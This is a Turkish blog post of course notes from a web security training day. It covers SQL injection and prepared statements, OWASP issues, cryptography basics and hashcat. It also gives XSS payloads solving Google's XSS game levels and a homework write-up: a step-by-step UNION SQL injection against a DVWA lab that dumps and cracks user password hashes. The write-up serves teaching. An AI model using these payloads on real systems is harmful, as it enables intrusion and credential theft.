Akademik Bilişim 2015 - Web Uygulama Güvenliği ve Sızma Testleri 3. Gün



Akademik Bilişim 2015'in üçüncü gününü de geride bıraktık. Yoğun bir öğrenme çabası içinde geçen günün ardından verilen ödevi yapmamızın rahatlığıyla yazıyorum yazımı. Ödevi ve çözümü yazının son kısmında bulabilirsiniz. Ödev için fikir alışverişinde bulunduğum Alpaslan Öztürk'e de teşekkür ediyorum.

Güne yine geçmiş konuların tekrarı ile başladık daha sonra Google'ın XSS için hazırladığı ortamdaki seviyelerin nasıl çözüleceği ile devam ettik. Yarım kalan OWASP'ın Top Ten listesinde önemli kısımları öğrendik. Öğleden sonraki kısımda Ayşe Bilge Gündüz Kriptoloji temellerini anlattı ve son olarak ufak uygulamalar ve ödevle günü tamamladık.

Bundan sonraki kısım tuttuğum notlardan oluşuyor. Dersin bir bölümü seminer havasında geçti. Bu yüzden notlar eksik, yanlış veya az bilgi içeriyor olabilir düzeltirseniz sevinirim.



SELECT * FROM abc WHERE id=5 AND online=1
  • Sorgusunda UNION SQL INJECTION yapılabilir. Bizim değiştirebileceğimiz kısım id kısmı olduğundan sonrasını değiştiremeyiz dememeliyiz. # karakteri ile id değerinden sonraki kısmı yorum satırı yaparak sorgunun devamından kurtulabiliriz.
XSS'in çözümü için kara liste yerine beyaz liste ile çözüm bulunmaya çalışılır. Girdi alanı integer değer alıyor ise string bir girdi ile sorgu yapılmasına izin verilmemelidir.

Prepared Statement: Kullanıcıdan alınan girdi sorguya direk yollanmaz ilk önce bu yapıya yollanır.

$a->prepare(“SELECT * FROM abc WHERE id=?”)
$a->bindParam($GET[‘a’])

Örn:

// prepare and bind
$stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname, email) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $firstname, $lastname, $email);

Google XSS:
  1. Level
    https://xss-game.appspot.com/level1/frame
    <script>alert('xss')</script>
  2. Level:
    https://xss-game.appspot.com/level2/frame
    <img src='foobar' onerror='alert("xss")'>
  3. Level:
    https://xss-game.appspot.com/level3/frame#1
    URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>
  4. Level:
    https://xss-game.appspot.com/level4/frame
    timer=');alert('xss
  5. Level:
    https://xss-game.appspot.com/level5/frame
    URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript%3Aalert%28%27xss%27%29
  6. Level:
    https://xss-game.appspot.com/level6/frame#/static/gadget.js
    URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')

OWASP Top Ten Listesinin devamı;

3. Insecure Direct Object Referance(IDOR):
Bir adres satırında bulunan ID’yi değiştirerek bizim görmememize izin verilmeyen sayfaları görebildiğimiz bir zafiyet türüdür.

www.test.com/fatura/aylik/1337

Örneğin; basit bir saldırı olarak yukarıdaki linkte bulunan ID kısmı olan 1337’yi değiştirerek başka bir kullanıcının faturasına ulaşabiliriz.

www.test.com/fatura/aylik/1338: Son fatura biz olursak bu sayfa olmayacağından, vazgeçmeden önce bir kaç farklı ID denemeliyiz(fatura ya da hesap silinmiş olabilir).

Bu tür zafiyetler daha çok sosyal ağlarda görülür.

4. Cross-Site Request Forgery(CSRF):

İstek sahteciliği: x.com'a girildiğinde y.com'a bilinmeden bir istek gönderildiği zafiyet türüdür. Kullanıcının bu isteğin içeriği hakkında bir bilgi yoktur. 

Örneğin; bir banka hesabıyla hedef hesap numarasından kaynak hesap numarasına bir miktar parayı gönderen bir istek olabilir.

Bu zafiyeti önlemek için banka uygulamasında kullanıcıya bir girdi alanı oluşturulmalı ve kullanıcıya özel belirli uzunlukta bir bilgi gönderilerek formda geri istenmelidir.

5. Broken Authentication and Session Management:

Session Fixation: Oturum sabitleme.

abc.com: Bir kullanıcı bu sitede oturum açmış.
xyz.com: Aynı kullanıcının burada da oturum açması gerekmesin isteniyor.

Oturum anahtarı headerdaki cookie alanında değil de linkde taşınır. Bunun problemleri çeşitli problemleri bulunur. İlki bu isteğin loglara düşmesi. İkincisi ise oturum sabitleme.

Bir sitede kullanıcı login olmak istiyor. Login formu ile birlikte bir session_id gönderilir. Saldırgan bunu kurbana gönderir. Ve kurban login olduğunda saldırgan f5 e basarak session_id yi elde etmiş olur.

Çözüm; kullanıcı oturum açtığında eski anahtarı yok edilip yeni bir session_id verilmelidir.

Session Prediction: Oturum anahtarı tahmin etme. Çözümü; uzun ve tahmin edilemez bir string oluşturulmasıdır.

6. Using Components With Known Vulnerabilties:

Framework Organizasyonları:
Geri dönük üçüncü parti yazılımların takibi: Bir yazılım için kullanılan, kütüphane gibi üçüncü parti yazılımlarda bir açık ortaya çıktığında ana yazılımın güncellenmesi gerekir.

Öneriler:
Kali Linux’a Giriş
Web Uygulama Güvenliği #101
Web Uygulamalarına Kaynak Kod Analizi - I
Web Uygulamalarına Kaynak Kod Analizi - II

Buradan sonraki kısma Ayşe Hoca anlattı.

Kriptoloji
  • Kriptografi
  • Kriptanaliz alanlarından oluşur.
Encode: Bir metnin çeşitli işlemlerle saklanmasıdır.
Encrypt: Bir metni anahtar ve şifreleme algoritması ile şifrelemek.
Decrypt: Şifrelenmiş metni düz metin haline getirmek.
  • Kerckhoff Prensibi: 
    • Algoritmanın tüm detayları bilinse dahi şifreli metnin elde edilemeyeceği prensip.
    • Bu prensipte aslolan anahtarın gizliliğidir.
  • Enigma Makinası: 
    • İkinci dünya savaşında Almanlar tarafından kullanılan bir şifreleme yöntemidir. Her gün için belirli bir rotor konumu bulunur. Aylık bültenlerle bu konumlar birliklere dağıtılır. Her bir harfe basıldığında bu rotorlar hareket eder. Rotor hareketine göre yanan ışık değişir.
    • Aynı harfi temsil etmek için farklı harfler kullanılabilirken farklı harfleri temsil etmek için aynı harf kullanılabilir.
    • Çözümünü kolaylaştıran durumlar; 
      • Asla bir harf kendi kendisini temsil edemiyor.
      • Birebir şifreleme yapılıyor. 
      • Düz metinlerin içerisinde tekrar eden metinler kullanılıyor.
  • Simetrik Anahtarlı Şifreleme:
    • Şifreleme ve deşifreleme işlemleri aynı anahtarla olur.
    • Anahtarın gizliliği çok önemlidir.
    • Anahtar paylaşımı yapılan kanalın güvenli olması şarttır.
  • Açık Anahtarlı Şifreleme:
    • Özel anahtar: Sadece kişiye özgü olan anahtardır.
    • Açık anahtar: Kişinin diğerleriyle paylaşmasında sakınca olmayan anahtardır.
    • Alice Bob'a açık anahtarını yollar. Bob göndereceği düz metni Alice'in açık anahtarıyla şifreleyerek şifreli metni Alice'e yollar. Alice de bu şifreli metni özel anahtarıyla çözer.
  • DES:
    • Metin sağ kısım ve sol kısım olarak ikiye ayrılır. Sağ kısım bir F fonksiyonuna girerek sol kısımla başka bir işleme girer. Sol kısım sağa geçer ve aynı işlem tekrar eder. Deşifreleme işlemi de tersten gidilerek yapılır.
  • Triple DES:
    • şifreli metin: EK3 (DK2(EK1(açık metin)))
    • açık metin: EK1(DK2(EK3(şifreli metin)))
  • AES:
    • Durum denilen 4x4 sütun-öncelikli bayt matrisi üzerinde çalışır. Matristeki işlemler de özel bir sonlu cisim (finite field) üzerinde yapılmaktadır.
    • Algoritma belirli sayıda tekrar eden girdi açık metni, çıktı şifreli metne dönüştüren özdeş dönüşüm çevirimlerinden (round) oluşmaktadır. Her çevirim, son çevirim hariç, dört adımdan oluşmaktadır. Şifreli metni çözmek için bu çevirimler ters sıra ile uygulanır.
  • RSA:
    • Açık anahtarlı şifrelemenin tanımı mahiyetindedir.
    • Alice Bob'a açık anahtarını yollar. Bob göndereceği düz metni Alice'in açık anahtarıyla şifreleyerek şifreli metni Alice'e yollar. Alice de bu şifreli metni özel anahtarıyla çözer.
  • OTP:
    • Anahtar tek sefer kullanılır. 
    • Anahtar üretimi ve paylaşımı zordur.
    • En güvenilir yöntemlerden biridir fakat kullanılması zordur.
  • Akış Şifreleme:
    • Süreç dinamik olarak ilerler.
    • Rastgele anahtar üretmek sorunludur.
  • Blok Şifreleme:
    • Açık metin bloklar haline getirilir. Ve bu bloklar şifrelenerek gönderilir.
Hash:

İdeal bir hash;
  • Verilecek herhangi bir metin için kolayca oluşturulabilmeli.
  • Hash’ten mesaja geri dönebilmek mümkün olmamalı.
  • Mesajdaki en küçük değişiklik hash’i de değiştirmeli.
  • Aynı hash’e sahip birden çok mesaj bulunmamalı.

Metin, kullanılacak algoritmaya göre belirli parçalara ayrılır daha sonra bu parçalar üzerinden işlemler yapılarak metnin hashlenmiş hali elde edilir. Hash'in sonuna belirli bir miktar bit eklenir bunun sebebi ise çakışma olasılığını azaltmaktır.

MD5 SHA1 SHA256
MAC, HMAC

SSL: Mac sonra Encrypt
İpsec: Ecrypt sonra Mac
SSH: Encrypt ve Mac
  • Ataklar:
    • Sözlük atağı:
      • Bir sözlükten yararlanılarak karşılaştırma yapılır.
    • Rainbow Table Atack:
      • Hashlerle metin karşılıkları tablolar halinde tutularak karşılaştırma yapılılır ve çözümlenmeye çalışılır.
Kali’de hashcat:

        hashcat: Hash kırmak için kullanılan araçlardan bir tanesidir fakat kapalı kaynaklı bir yazılımdır.

Kullanımı:

hashcat -m 100 -a 0 -o Desktop/… Desktop/… /usr/share/.../wordlist
  • -m 100: sha1 yöntemi
  • -a 0: atack mode
  • -o: çıktı(output)
Not: İnternette online hash servisi verilmesinin nedeni verilen girdilerin veritabanında saklanmak istenmesidir. Arka tarafta bu bilgiler diğer servislerle paylaşılılarak rainbow tablosu oluşur.
  • Pozitif Yükleme Modülleri:
Bir web uygulaması için kullanıcılarından dosya alınması tehlikeli bir iştir. Çünkü kullanıcı kontrolden kaçan zararlı bir dosya yükleyebilir. Bu zararlı dosya; hazır kod olabilir. Saldırgan bu dosyayı link ile çağırabilir ve komut çalıştırabilir.
  • Çözümü;
    • Dosya boyutu sınırlandırması yapmak.
    • Uzantı kontrolü yapmak.
    • Yüklenen dosyaların web’ten erişilemeyecek bir path’e konulmaması gerekir.
  • Ödev:
    • http://193.255.255.251/dvwa/ adresinekullanıcı adı: ab2015
      parola: ab2015 

      bilgileri ile girerek kullanıcı parolalarını elde ediniz.
  • Çözümü;
DVWA Security: low

ID: -999 ' OR ' 1=1
First name: admin
Surname: admin
ID: -999 ' OR ' 1=1
First name: Gordon
Surname: Brown
ID: -999 ' OR ' 1=1
First name: Hack
Surname: Me
ID: -999 ' OR ' 1=1
First name: Pablo
Surname: Picasso
ID: -999 ' OR ' 1=1
First name: Bob
Surname: Smith
ID: -999 ' OR ' 1=1
First name: Akademik
Surname: Bilisim


ID: -999' union select 1,version()#
First name: 1
Surname: 5.0.51a-3ubuntu5


ID: -999' union select database(),version()#
First name: dvwa
Surname: 5.0.51a-3ubuntu5


ID: -999' union select database(),table_name from information_schema.tables where table_schema='dvwa'#
First name: dvwa
Surname: guestbook
ID: -999' union select database(),table_name from information_schema.tables where table_schema='dvwa'#
First name: dvwa
Surname: users


ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: comment_id
Surname: guestbook
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: comment
Surname: guestbook
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: name
Surname: guestbook
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: user_id
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: first_name
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: last_name
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: user
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: password
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_schema='dvwa'#
First name: avatar
Surname: users


ID: -999' union select column_name,table_name from information_schema.columns where table_name='users'#
First name: user_id
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_name='users'#
First name: first_name
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_name='users'#
First name: last_name
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_name='users'#
First name: user
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_name='users'#
First name: password
Surname: users
ID: -999' union select column_name,table_name from information_schema.columns where table_name='users'#
First name: avatar
Surname: users        


En son olarak da bir hash kırıcı yardımıyla basit olan parolalar kırılır. Hash değerlerinin yanına bulduğum gerçek değerlerini de ekledim.

ID: -999' union select first_name,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99:password
ID: -999' union select first_name,password from users#
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03:abc123
ID: -999' union select first_name,password from users#
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b:charley
ID: -999' union select first_name,password from users#
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7:letmein
ID: -999' union select first_name,password from users#
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99:password
ID: -999' union select first_name,password from users#
First name: Akademik
Surname: f7b08b83f57226b67ba741633f5e3d9f:ab2015                     

DVWA Security: low

ID: -999 OR 1=1
First name: admin
Surname: admin
ID: -999 OR 1=1
First name: Gordon
Surname: Brown
ID: -999 OR 1=1
First name: Hack
Surname: Me
ID: -999 OR 1=1
First name: Pablo
Surname: Picasso
ID: -999 OR 1=1
First name: Bob
Surname: Smith
ID: -999 OR 1=1
First name: Akademik
Surname: Bilisim

ID: -999 union select 1,version()
First name: 1
Surname: 5.0.51a-3ubuntu5

ID: -999 union select database(),version()
First name: dvwa
Surname: 5.0.51a-3ubuntu5

ID: -999 union select database(),table_name from information_schema.tables where table_schema=database()
First name: dvwa
Surname: guestbook
ID: -999 union select database(),table_name from information_schema.tables where table_schema=database()
First name: dvwa
Surname: users

ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: comment_id
Surname: guestbook
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: comment
Surname: guestbook
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: name
Surname: guestbook
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: user_id
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: first_name
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: last_name

Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: user
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: password
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_schema=database()
First name: avatar
Surname: users

ID: -999 union select column_name,table_name from information_schema.columns where table_name=0x7573657273
First name: user_id
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_name=0x7573657273
First name: first_name
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_name=0x7573657273
First name: last_name
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_name=0x7573657273
First name: user
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_name=0x7573657273
First name: password
Surname: users
ID: -999 union select column_name,table_name from information_schema.columns where table_name=0x7573657273
First name: avatar
Surname: users

ID: -999 union select first_name,password from users
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99:password
ID: -999 union select first_name,password from users
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03:abc123
ID: -999 union select first_name,password from users
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b:charley
ID: -999 union select first_name,password from users
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7:
letmein
ID: -999 union select first_name,password from users
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99:password